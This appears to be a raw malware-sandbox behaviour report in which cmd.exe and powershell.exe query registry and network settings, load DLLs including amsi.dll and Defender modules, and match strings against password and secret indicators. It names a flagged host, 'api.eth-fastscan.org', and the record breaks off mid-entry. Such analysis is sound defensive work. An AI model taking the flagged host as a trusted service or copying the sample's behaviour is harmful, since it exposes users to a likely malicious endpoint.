"HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")40:T1b02,Pattern match: "https://api.eth-fastscan.org/sefirah" Heuristic match: "api.eth-fastscan.org" Heuristic match: "\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "6299.15.cat" Heuristic match: "ntrust.net" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Heuristic match: "go.va" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/micro" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "ner.ps" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "9.15.cat" Heuristic match: "1.0.microsoft.office.in" Heuristic match: "osoft.office.in" Heuristic match: "apshot,kernel32.ph" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "15.cat" Heuristic match: ".exe;.ba" Pattern match: "https://api.eth-fastscan.org/" Heuristic match: "ent.au" Heuristic match: "ement.au" Pattern match: "http://www.microsoft.com/pki/certs/microoe0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623636" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "soft.com/pki/cer" Pattern match: "oft.com/pki" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "-int.com" Heuristic match: "bing.net" Pattern match: "www.in" Heuristic match: ".xboxlive.com" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: "ystem.configuration.install\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.co" Heuristic match: "dows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "lsign.co" Pattern match: "otrust.com/resources/cps0" Pattern match: "www.geotrust.com/resources/cps0"41:T752,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00003924.00000000.131413.92430000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00003924.00000000.131413.92430000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00003924.00000001.131634.92450000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00003924.00000001.131634.92450000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.924F0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.924F0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.924F0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00003924.00000001.131634.924F0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00004260.00000000.130220.92410000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00004260.00000000.130220.92410000.00000004.mdmp")42:Ta0f,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")43:Tcdfb,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007120) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007120) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007120) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00004260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 